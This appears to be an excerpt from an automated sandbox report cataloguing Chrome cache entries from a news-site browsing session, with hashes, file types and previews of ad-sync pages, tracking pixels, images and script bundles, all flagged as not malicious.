Preview:	.js-focus-visible .vjs-menu :not(.vjs-selected):focus:not(.focus-visible),.video-js .vjs-menu :not(.vjs-selected):focus:not(:focus-visible){background:#151b17}#pframe-player-container.evp-hide-title-on-start-screen :not(.vjs-has-started) .vjs-title-bar .vjs-title-bar-title{display:none}#pframe-player-container.evp-hide-title-on-hover .vjs-has-started .vjs-title-bar .vjs-title-bar-title{display:none}#pframe-player-container.evp-hide-title-on-hover #bc-player .evp-live-label-container.evp-user-active{margin-top:40px}#pframe-player-container.evp-hide-desc-on-start-screen :not(.vjs-has-started) .vjs-title-bar .vjs-title-bar-description{display:none}#pframe-player-container.evp-hide-desc-on-hover .vjs-has-started .vjs-title-bar .vjs-title-bar-description{display:none}#pframe-player-container.evp-hide-desc-on-hover #bc-player .evp-live-label-container.evp-user-active{margin-top:40px}#pframe-player-container.evp-hide-desc-on-hover.evp-hide-title-on-hover #bc-player .evp-live-label-container.e

Chrome Cache Entry: 796

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	269
Entropy (8bit):	5.235195150873638
Encrypted:	false
SSDEEP:	6:hn8FQiowadCc4svmzsMX5mBQLzLcIjEdxvAqJmW/upLV4HX4QL:hnMQbwuO4M2e4xYqJmWeV4IQL
MD5:	C7B1A96E4676C76C0240D4A835FB7252
SHA1:	8A4DE304873BB5A8C11DD86B86CC8B8356BAD8B5
SHA-256:	E4DF52D49C57BC3E7158CB052CC05C60F1258C24DE5C5728DAC5D43272943AD9
SHA-512:	349FE7702C3A1355026D9051B3BDF4143358A34A416DF67099E7FA16CACD72270E40DAF59C24C1FE0C6705F91AEDABD0E9D8298985E6A3BF9F133C08DC07AD86
Malicious:	false
Reputation:	low
URL:	https://eus.rubiconproject.com/usync.html?p=medianet
Preview:	<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">. Copyright Magnite 2024 -->.<html>.<head>. <title>User-Sync</title>.</head>.<body>. <script type="text/javascript" src="usync.js"></script>.</body>.</html>.

Chrome Cache Entry: 797

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "Lavc60.3.100", baseline, precision 8, 480x270, components 3
Category:	downloaded
Size (bytes):	13738
Entropy (8bit):	7.958984169618103
Encrypted:	false
SSDEEP:	192:SeanSieHUVtbGjaEib3ILznxURtKy74tc1TFdDAS11FG3CwQJOKovu2WEILTe3gJ:SjeHljaEmIyRcul1BddACVDompXC3gJ
MD5:	1835CB358D03D4EE86E3DD17AD93227E
SHA1:	95D4C55E43427F0C439C2984DE823B07A8304D8F
SHA-256:	5B3991D9F8A5CB2867213A7F7D4E4CCFFB31FEE26D8C111B132A07B9C75DFFF1
SHA-512:	734381CB3F7FAA6FFA8A351B41B8EC18E05F27A7E8C3D6B9195B942508439383E8D00E6C606893A9BEDAE4645AEC7E586EE274639325C50C5A441C8FBCBD8D52
Malicious:	false
Reputation:	low
URL:	https://bcbolt446c5271-a.akamaihd.net/image/v1/jit/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/main/480x270/20s/match/image.jpeg?akamai_token=exp=1716516983~acl=/image/v1/jit/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/main/480x270/20s/match/image.jpeg*~hmac=48558e6549ba5359671e9bf7729f2b3198e7c09c33530402443a2ab5d1a99ef8
Preview:	......JFIF..............Lavc60.3.100...C.....................................'!..%..."."%()+,+. /3/2'+...C..............*************************************************..........."........................................H......................!..1.A."Qaq.2.....#B...$3Rb...r.%Ccs....4ST..................................".....................!1..A"2..Qa............?..S2.V......V3.ba.Z.......~. }..7q....J.........}@[..\..6zd?.t.+\.3. ,!....G.......mpQ.@........6......D.BNV..u....wU\|..].M.....}I\|.h.........G.#}.c..)+w.S.A...#.#.Q..$......G.2<Xa#.9...4L.a.WlW.......T7G3p"y...E.=.sRh$x.....R$.;G..iZ..m/s.M.9+.Y.Q.G..Uq.h....Sh.#..3.$.6F..M.7m48...4..!.v...6...iMh.8.....P.8..f..7.bh!.i)..\|"6~...$.{.....(.%.X\.yU<'4..{..Y...c...8>.c.bW...e..V.H.uN-.o.^......X..V......OS....dp.6..'..+.+..:mH..un.._.. ..d...R.$....9_Tw..d..S.7.....`Z..#Z......O.. ...5....C.t.....V...i.....]+.....)-...Z.@.9...Jk...=.J.pS.6...'!.x.....DU../.....A.!...T.x..;Fy...nx...;Z!..

Chrome Cache Entry: 798

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (2920), with no line terminators
Category:	downloaded
Size (bytes):	2920
Entropy (8bit):	5.278382327824268
Encrypted:	false
SSDEEP:	48:0GoPdhpMzANg4+rItkVsjxe3iRfLIzzL9qMEqK/VEjbJtbmsrIonbl8Q6LBI0uBP:poPTdfbiVsjgiRfL2f9sqK/VEjiOnF6K
MD5:	653708AD1BBAE1579927B6391B2A28F3
SHA1:	4261E415C23DFD9D925F071737FB0D236F856F4E
SHA-256:	82D2DC44AAE1EDA52ABC17AFD30C6031B7175C13EE6955410164C66AE755ADFB
SHA-512:	4092D81BEEAADB7ECA73EE279AF0A5289CAF850253464BAA4F7695C49670C05F7E89630807A2C41D3D9CAD75D95A60719FDB1A16265537153952774F7450873C
Malicious:	false
Reputation:	low
URL:	https://js-sec.indexww.com/um/ixmatch.html
Preview:	<!doctype html><head></head><body><script>!function(t){var e={};function r(n){if(e[n])return e[n].exports;var i=e[n]={i:n,l:!1,exports:{}};return t[n].call(i.exports,i,i.exports,r),i.l=!0,i.exports}r.m=t,r.c=e,r.d=function(t,e,n){r.o(t,e)\|\|Object.defineProperty(t,e,{enumerable:!0,get:n})},r.r=function(t){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(t,"__esModule",{value:!0})},r.t=function(t,e){if(1&e&&(t=r(t)),8&e)return t;if(4&e&&"object"==typeof t&&t&&t.__esModule)return t;var n=Object.create(null);if(r.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:t}),2&e&&"string"!=typeof t)for(var i in t)r.d(n,i,function(e){return t[e]}.bind(null,i));return n},r.n=function(t){var e=t&&t.__esModule?function(){return t.default}:function(){return t};return r.d(e,"a",e),e},r.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},r.p="",r(r.s=0)}([function(t,e){let r=!1;const n={};let i,a,o,c;

Chrome Cache Entry: 799

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	48
Entropy (8bit):	4.985902344426085
Encrypted:	false
SSDEEP:	3:YEOBHMUq5FjrLAXTF:YEOB1mBfyR
MD5:	397540897705880AAFCEB703FC2FD34E
SHA1:	6991B3D9ABD1C4CE29400836CF62B0F1E2797120
SHA-256:	BDDC210F43A5FBC974A363B67A78EB00EE0AB7AEFA1C2F6DEBD36C28BE5C4E55
SHA-512:	5FB30A51A7A55470497A6A273B81D44A37C58B0461C76527B4CB8F1372B3153EBD285412656F9496D43AFC56D3F231F09214CDC8D256A2ECD5E3E98A048496FB
Malicious:	false
Reputation:	low
URL:	https://ups.analytics.yahoo.com/ups/58831/sync?format=json&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN
Preview:	{"axid": "y-Q1anlJpE2uLNXvog9cXvHne26mx9Lj2d~A"}

Chrome Cache Entry: 800

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://sb.scorecardresearch.com/p?c1=19&c2=27061346&ca2=null&ns_ap_an=unknown&ns_ap_pn=js&ns_ap_pv=5&c12=_&name=foreground&ns_ap_ec=15&ns_ap_ev=hidden&ns_ap_device=Win32&ns_ap_id=1716503711984&ns_ap_bi=unknown&ns_ap_pfm=webbrowser&ns_ap_pfv=Chrome%20117.0.0.0&ns_ap_ver=unknown&ns_ap_sv=7.8.0%2B2310050509&ns_ap_bv=7.8.0%2B2310050509&ns_ap_smv=6.4&ns_type=hidden&ns_ts=1716503725422&ns_ap_env=0-0-2&cs_fpid=null&cs_fpit=null&cs_fpdm=null&cs_fpdt=null&ns_st_sv=7.8.0%2B2310050509&ns_st_smv=6.4&ns_st_it=c&ns_st_id=40ff1bab4a8b486aa330c4b5815ee2bd&ns_st_ec=13&ns_st_cn=1&ns_st_ev=play&ns_st_sp=1&ns_st_sc=1&ns_st_ppc=1&ns_st_apc=1&ns_st_spc=1&ns_st_dppc=0&ns_st_dapc=0&ns_st_dspc=0&ns_st_psq=7&ns_st_asq=7&ns_st_sq=7&ns_st_po=1945&ns_st_lda=0&ns_st_ldw=0&ns_st_ldo=0&ns_st_hd=8055&ns_st_mp=Yahoo%20Video%20Player&ns_st_mv=1.6.29&ns_st_cl=68416&ns_st_pn=1&ns_st_tp=0&ns_st_ct=vc11&ns_st_li=0&ns_st_ty=video&ns_st_ci=42b897a6-9771-3329-b351-69a701a77438&ns_ap_ar=unknown&ns_ap_cs=1&ns_radio=unknown&ns_st_pt=1945&ns_st_ipt=0&ns_st_iap=0&ns_st_iet=145&ns_st_iupc=0&ns_st_iupa=0&ns_st_ilpc=0&ns_st_ilpa=0&ns_st_ibc=0&ns_st_ibt=0&ns_st_itpc=0&ns_st_icpc=0&ns_st_cfg=111110001-5-4b0-3-5&c3=yahoo&ca3=yahoos&c4=us.aolportal&ca4=us.aolportals&c6=&ns_st_pu=Yahoo&ns_st_st=Yahoo&ns_st_pr=3%20Things%20to%20Know%3A%20Graceland%2C%20Prince%20William%2C%20Barrymore&ns_st_sn=null&ns_st_en=null&ns_st_ep=AP&ns_st_ge=null&ns_st_cs=368x276&ns_st_dskc=0&ns_st_dska=0&ns_st_skd=0&ns_st_dskt=0&ns_st_dpc=0&cs_ucfr=1&ns_ap_res=1280x907&ns_ap_sd=1280x1024&ns_ap_po=0x0&ns_ap_lang=en-US&ns_c=UTF-8&ns_st_br=0&ns_st_rt=100&ns_st_vo=100&ns_st_dpt=0&ns_st_ap=1945&ns_st_dap=0&ns_st_et=8288&ns_st_det=145&ns_st_upc=1945&ns_st_dupc=0&ns_st_upa=1945&ns_st_dupa=0&ns_st_lpc=1945&ns_st_dlpc=0&ns_st_lpa=1945&ns_st_dlpa=0&ns_st_bc=0&ns_st_dbc=0&ns_st_bt=4080&ns_st_dbt=0&ns_st_bp=4080&ns_st_dtpc=0&ns_st_dcpc=0&ns_st_skc=0&ns_st_ska=0&ns_st_skt=0&ns_st_pc=6&ns_st_pp=6&ns_st_pa=1945&c7=https%3A%2F%2Fwww.aol.com%2F&c8=News%2C%20Politics%2C%20Sports%2C%20Mail%20%26%20Latest%20Headlines%20-%20AOL.com&c9=&ns_st_ub=0
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 801

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://sb.scorecardresearch.com/p?c1=19&c2=27061346&ca2=null&ns_ap_an=unknown&ns_ap_pn=js&ns_ap_pv=5&c12=_&name=foreground&ns_ap_ec=11&ns_ap_ev=hidden&ns_ap_device=Win32&ns_ap_id=1716503711984&ns_ap_bi=unknown&ns_ap_pfm=webbrowser&ns_ap_pfv=Chrome%20117.0.0.0&ns_ap_ver=unknown&ns_ap_sv=7.8.0%2B2310050509&ns_ap_bv=7.8.0%2B2310050509&ns_ap_smv=6.4&ns_type=hidden&ns_ts=1716503725016&ns_ap_env=0-0-2&cs_fpid=null&cs_fpit=null&cs_fpdm=null&cs_fpdt=null&ns_st_sv=7.8.0%2B2310050509&ns_st_smv=6.4&ns_st_it=c&ns_st_id=40ff1bab4a8b486aa330c4b5815ee2bd&ns_st_ec=9&ns_st_cn=1&ns_st_ev=play&ns_st_sp=1&ns_st_sc=1&ns_st_ppc=1&ns_st_apc=1&ns_st_spc=1&ns_st_dppc=0&ns_st_dapc=0&ns_st_dspc=0&ns_st_psq=5&ns_st_asq=5&ns_st_sq=5&ns_st_po=1687&ns_st_lda=0&ns_st_ldw=0&ns_st_ldo=0&ns_st_hd=8313&ns_st_mp=Yahoo%20Video%20Player&ns_st_mv=1.6.29&ns_st_cl=68416&ns_st_pn=1&ns_st_tp=0&ns_st_ct=vc11&ns_st_li=0&ns_st_ty=video&ns_st_ci=42b897a6-9771-3329-b351-69a701a77438&ns_ap_ar=unknown&ns_ap_cs=1&ns_radio=unknown&ns_st_pt=1687&ns_st_ipt=0&ns_st_iap=0&ns_st_iet=1296&ns_st_iupc=0&ns_st_iupa=0&ns_st_ilpc=0&ns_st_ilpa=0&ns_st_ibc=0&ns_st_ibt=0&ns_st_itpc=0&ns_st_icpc=0&ns_st_cfg=111110001-5-4b0-3-5&c3=yahoo&ca3=yahoos&c4=us.aolportal&ca4=us.aolportals&c6=&ns_st_pu=Yahoo&ns_st_st=Yahoo&ns_st_pr=3%20Things%20to%20Know%3A%20Graceland%2C%20Prince%20William%2C%20Barrymore&ns_st_sn=null&ns_st_en=null&ns_st_ep=AP&ns_st_ge=null&ns_st_cs=368x276&ns_st_dskc=0&ns_st_dska=0&ns_st_skd=0&ns_st_dskt=0&ns_st_dpc=0&cs_ucfr=1&ns_ap_res=1280x907&ns_ap_sd=1280x1024&ns_ap_po=0x0&ns_ap_lang=en-US&ns_c=UTF-8&ns_st_br=0&ns_st_rt=100&ns_st_vo=100&ns_st_dpt=0&ns_st_ap=1687&ns_st_dap=0&ns_st_et=7882&ns_st_det=1296&ns_st_upc=1687&ns_st_dupc=0&ns_st_upa=1687&ns_st_dupa=0&ns_st_lpc=1687&ns_st_dlpc=0&ns_st_lpa=1687&ns_st_dlpa=0&ns_st_bc=0&ns_st_dbc=0&ns_st_bt=4080&ns_st_dbt=0&ns_st_bp=4080&ns_st_dtpc=0&ns_st_dcpc=0&ns_st_skc=0&ns_st_ska=0&ns_st_skt=0&ns_st_pc=4&ns_st_pp=4&ns_st_pa=1687&c7=https%3A%2F%2Fwww.aol.com%2F&c8=News%2C%20Politics%2C%20Sports%2C%20Mail%20%26%20Latest%20Headlines%20-%20AOL.com&c9=&ns_st_ub=0
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 802

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	277
Entropy (8bit):	6.327525090862984
Encrypted:	false
SSDEEP:	6:6v/lhPf4OllScQvlolyIUnVbajqbWgTjoPSSEWYe8fyiovbjRuKBa1g+CQh0p:6v/7rllqtolyIUxGqbTjoPSRWTvxuKEG
MD5:	DF9A2FDE7D1D68B13D038C4AB499201B
SHA1:	EB3097D78B2E350FC2C671578AA43E650EEDE41E
SHA-256:	C0C1D1343803CFD6D58CDEBAB0526EFED850A495E1AE37B092FBD53C5CCF17AE
SHA-512:	34A24F58A2292422A01D9BB2B80FF36061C7A40ADA7F174DAA564978DD531E36AF6464778A98F899E7B9554E52224E089DDBEB5BA10079F77F92421FFE13336A
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/images/dims?thumbnail=16%2C16%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2021-07%2F3c019bd0-ee43-11eb-bced-b4b62d80677d&client=76f99bdb8f78cd44cc0b&signature=ce40ac0abc26ce89b2b3a45dd92d42a44233b73e
Preview:	.PNG........IHDR.............(-.S...BPLTEGpL...........................t..a.....A.....5.....k..+..W..........jG....tRNS.........3......xIDAT..e.7..0..@..x.A....y<..%......E<\|.[.../~\.@...D..p..5.......H.7I.....+.F...Lu.=.$.Y.2k.2s....z.&):.;k.a...........++z.....IEND.B`.

Chrome Cache Entry: 803

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
URL:	https://us-u.openx.net/w/1.0/sd?id=537148856&val=Zk-ElAAAAUphKgAT&_test=Zk-ElAAAAUphKgAT
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 804

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	92242
Entropy (8bit):	3.9361104205060347
Encrypted:	false
SSDEEP:	1536:wO1CjthWUmIBqSj8H2d268sVvgMjElikz:7szJBpjytlikz
MD5:	5ECACA0F2F2144BD8F8B20581ABC70D1
SHA1:	BEFBF2839889912D356FD63F2F5017EAB3F4324E
SHA-256:	E6BAC922ECE865AB47D3FDA3EB7029CDF2BB1033B8D28BB8665103458F4FD5DA
SHA-512:	5CB274186161DC7061E5B4DD79C053524B1CC6BDE6FFE7D456412BAEE7DEA5FF60B82F7FAFD6013B03B5822AFF55079BDC9C4994747E936E86FF5C315C154171
Malicious:	false
Reputation:	low
Preview:	{. "brandProtection": {. "badv": {. "1111.com.tw": true,. "1962pac.com": true,. "1keygou.com": true,. "2020upto.us": true,. "21stcenturysmoke.com": true,. "2363.org": true,. "350.org": true,. "3oaksorchard.com": true,. "43cbd.com": true,. "4everstamp.com": true,. "53peaks.org": true,. "60plus.org": true,. "76place.com": true,. "814isnotok.org": true,. "AmericasSpirit.org": true,. "BetterTogetherVillage.com": true,. "DanBooneForHuntersville.com": true,. "DeLuzioforCongress.com": true,. "Rugbyaddict.com": true,. "Socceraddict.com": true,. "TennisWorldUSA.com": true,. "TwilaCarter.com": true,. "Winred.com": true,. "a1apac.org": true,. "aaa.asn.au": true,. "aarti4communitycollege.com": true,.

Chrome Cache Entry: 805

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	170
Entropy (8bit):	5.335916817166796
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM5OCAadCmy42/uDlhlbGlo+4/iRXTECLrlxyxtyaC/tIlsg1B:6v/lhPfZMQC19s/6TdKXTECL6yR/iVB
MD5:	E7673C60AF825466F83D46DA72CA1635
SHA1:	FC0FCBEE0835709BA2D28798A612BFD687903FB5
SHA-256:	0B8A20373C6DD04E091902226D922B3688143A8938AFB9D283D889DE7B55CEB5
SHA-512:	F1C33E72643CE366FD578E3B5D393799E8C9EA27B180987826AF43B4FC00B65A4EAAE5E6426A23448956FEE99E3108C6A86F32FB4896C156E24AF0571A11C498
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR....................bKGD..............pHYs.................tIME......-Q.7n....tEXtComment.Created with The GIMP.d%n....IDAT..c.iy......+........IEND.B`..

Chrome Cache Entry: 806

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 50, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	2085
Entropy (8bit):	7.301922860116975
Encrypted:	false
SSDEEP:	48:cfanD2s+H/LbPygUs4qXWic7pRz7v0cnju/rV9hlizVvwusAcuc:cfanR+H/LuHqVcnX0hrvh8Zhcuc
MD5:	B65F65B22EFB7C7B99C0A9B1B4C3E9CB
SHA1:	163AC01C24311E90634FA4EEEACA1755160FA8F7
SHA-256:	54698467B90A6F818E604D30860FCF2474483C878806D4CECD26656FC6D04959
SHA-512:	5EEF30E794543A962FC8DFA4B493D0D0F428D84B4698E293696D23E829E3DD4310882C1898912457A0B39BD997938163D2AE184B1CF3272996E021497AEAD7E4
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FIjw0_3b8a1CMPGSAXMtS8g--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190319%2F500x500%2Fyankees_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=ff1d4fa8605c9733c7da8efc8f7f5acc20916320
Preview:	.PNG........IHDR...2...2.....).x.....PLTEGpL....................................................................................................................................................................................."G......................................................................................................................#G................#G.....................................................................................#G.#G......."F.#G.#G.#G.........................#G.&I.$H.-O*8Y!0R....)M...BOlbm.....+N...S_zJVr..Q......s\|.Ze~......Xd}."G<Ig.../=]...IUqmw.8Fd"1S....'K3A`hr......1?_u~......5Cb........&5V+:Z..._j....y..)7X.........O[v]h.:Gf...@Mj....'6W.........,;[{.....lv...........#GVb{>Kh6Dc&4V...FRo...u..q{....4Ba......EQn}..eo.P\v.........."F.........MYt.........0.0.....tRNS..t..d...E1...].a.......,....cvol......m.{.....i....6"........N...$;...y=V.?.Q..9J.H.).R^......4..Y...f...!B...............\|...._fZnM...z0U.....r.......<IDAT....uX.........

Chrome Cache Entry: 807

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (30301)
Category:	downloaded
Size (bytes):	30336
Entropy (8bit):	5.3209167284321195
Encrypted:	false
SSDEEP:	768:OzgJ3RmCqkjZYie6vqTxcyC+BOCmZRyZq:JKkjZYie6vqTxc+B08Zq
MD5:	0860907304E595D644D40C352A23E06E
SHA1:	0F99A530E53BD94FFFCEAA6E542ABF81EE267752
SHA-256:	6F66DF6ACD75174EEED95BE776B7DE5A15C6BE56CD70E7EF30D119AD4C0E668D
SHA-512:	1AC49A85129F0A2F94BEDF7C29567809815E5672AE3E4A1508D164F68A8AF1F8B20A432D15EDF951A31CF7E9BF41016E08E43F84159FFC8022AA06516BC1BA03
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/caas-assets-production/assets/v1/news.0860907304e595d6.js
Preview:	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("CAAS_AOLCOM",[],t):"object"==typeof exports?exports.CAAS_AOLCOM=t():e.CAAS_AOLCOM=t()}(self,(function(){return function(){var e={1631:function(e,t,n){"use strict";n.r(t),n.d(t,{paramCase:function(){return c}});var r=function(){return r=Object.assign\|\|function(e){for(var t,n=1,r=arguments.length;n<r;n++)for(var i in t=arguments[n])Object.prototype.hasOwnProperty.call(t,i)&&(e[i]=t[i]);return e},r.apply(this,arguments)};Object.create,Object.create,"function"==typeof SuppressedError&&SuppressedError;var i=function(){return i=Object.assign\|\|function(e){for(var t,n=1,r=arguments.length;n<r;n++)for(var i in t=arguments[n])Object.prototype.hasOwnProperty.call(t,i)&&(e[i]=t[i]);return e},i.apply(this,arguments)};function l(e){return e.toLowerCase()}Object.create,Object.create,"function"==typeof SuppressedError&&SuppressedError;var a=[/([a-z0-9])([A-Z])/g,/([A-Z])([A

Chrome Cache Entry: 808

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	60
Entropy (8bit):	5.098068512058838
Encrypted:	false
SSDEEP:	3:YEOBHt4YQvYBoWvRIR3mYn:YEOB/QvEeRmY
MD5:	4B58924A7717F35FF49287B37589804B
SHA1:	247027F7BB7B4E807F7D568D760CDF44E98447CF
SHA-256:	27EB5B7CAFDA97D2158216EE8712D66820C2D3C3FCA327BF58CADB068EA3EC7F
SHA-512:	F8E7862FC9BA5FD5968F502C6BD3EB42E8D62F960F302371815CB5566FB5FBC9B8ED942D76ADA03991632DFAFB06238857A97D6EF02BB476CA2C68DA29380EA5
Malicious:	false
Reputation:	low
Preview:	{"axid": "eS1DRVBhdFY1RTJ1SExXeFFKWHJsbzM0eHJ5amtROU9CNH5B"}

Chrome Cache Entry: 809

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	102656
Entropy (8bit):	7.998329309660843
Encrypted:	true
SSDEEP:	3072:xZ1qG3obrzC352gUFTJYs3HrGfM/PQ7Ka2BXzDcJbEFlDdg9RVia:n1qG3YrS2N3qaPta2BrFlJgTQa
MD5:	F028D456BEF47A39DF3D0820A3EBCC2E
SHA1:	FF2FB15B6C45203C0B26AF31CD3EEE875102E2EC
SHA-256:	EE1C41F26ECC7E6AB1130315AF021DD34B47656CA6FFDA482FD19C68C92452BF
SHA-512:	C853E898698E87E59B714A25675FE108410ED02034803477009873EA1AB8B7CFD90DEB52CB3B9AE90C88EB1087F554B02DC26CD50BFE2319B6C6FBD71A45CE99
Malicious:	false
Reputation:	low
Preview:	{.......{4..ZzTa[.....9..<.`..w7W....q2.P.......F2.iwu);"........;.....+.@....m.%.}.2....R'.i.K...C....!...~1.B.+{..5.~a...L.Uk.\|.X....7l..Sw...~./.#......b.z...J.>...>..>..LY(_/.....J8.8Z._Oh........B.....>.....iQ..WCO.]2..V]=.....~..!Z..Q.e@........X..>-..ct.....M....%..o.wB.P...B.mVb...8..@.$........A=.....y..j<...zC.....,.Rdbjg./ach....Q.q.....Na..K...v.eT.....kg...%..?0.^t...`.....zI"...+....C..\|D....{....C...~Y07..o...p;.0.}........N.w........J\.=.DY5.&j..J.<]..q..n.._.N.M>......T....d.p.Qd...1E.b.......,.5..#..MW m...>..?......$N.@..f...k.y.....D.n[._tZEn..t..T..$I."^.#.30i.XD{`".....[...<.zpK..x....WTI-w....Z....I(.7s\|2.}..p.....!...kM.........Y...@:W.G%Co(F....S...I2a.CNh0\|...E>R,..........V.'7.mZ..H{.....px..>...L.'..0..h.......O{..8..0+...+7...w$..pSF....0Q.[..1......0..r.Y../Y.[.1..7._...]!2...._{.k.V....SXI.....H.-.\5wW.h....=w...(ml.....=5...:8.:Sq..H.....$.......d...7......L*'n.x.z.oF......[.q

Chrome Cache Entry: 810

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	491
Entropy (8bit):	7.1274636626520795
Encrypted:	false
SSDEEP:	12:6v/7Ol/DoHYrRq0R/4p1YaoayoBEhwQhv3kmzUqhzgbeMrLgn6QJ9gXoc:v7ZR/e1FeoCPlUqObeGYmp
MD5:	F548B961E43B46BD52B6AA170D9BC4D8
SHA1:	391F124B5DCC64DB9A8FBB69D2B75755223D93EF
SHA-256:	E88579C64B5FFDBA0A240FF28A189A4665F897D36F4BFD19C89823142B62DF46
SHA-512:	45ACA9DFDAB8D3AE86414A403EBA4E610C6CB12AF766EA780614AA9549FA1F6DF7B8B9FD69D1DD5F7ED3C8CF9A5982650BA29B633677BD9FCCEC0963E4EF8265
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............(-.S....PLTEGpL......222..................&&&......]]\zzy>>>...ac\VUWi.t0}.....X-iii.........z..998...XN.=.K...q...^.$D._u..{.\|./.DDC......us.p.s....jq.Hb.....\|..m..}w.........fI......t.........TIL..b.....f>.p..\....tRNS........1..,......IDAT..m.Ev.Q.D...... ..`.Kb..rrW.....%...{...j....5....HG......6.&.G....j>.'....@..V.....K..).......c..T...f...........p.^t.y._QB...A..b..\*.6..u?m6j.....ga.....[..N.$i..G..o....&..A.v......IEND.B`.

Chrome Cache Entry: 811

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	32139
Entropy (8bit):	5.164546534957773
Encrypted:	false
SSDEEP:	384:vgghICI+Y4Li50jPa1HV6s+3r6J/3OnSqlUxccdzU9lpOlzF0wCLuo3GxeI:vRICI+YNCji18HqJdzUJKFCCFeI
MD5:	C1E8FD1478C920D2B1F4D04046F3EFE4
SHA1:	68E0C1FE0AF3BBC9489E9504999B625DF12E6B26
SHA-256:	D89EB4B6A5024BB27DA6DA6017A827BC55EC95786BB7B4E7A94233D4D0FCC6BA
SHA-512:	32AAE83722680EBFD36DECABAABE718196C67151037D336FC49C43D2CF4F13233A55D17F1FE3B1E4D3E161E53CFE7F643091B64914298D87B915D9C39E8D1D71
Malicious:	false
Reputation:	low
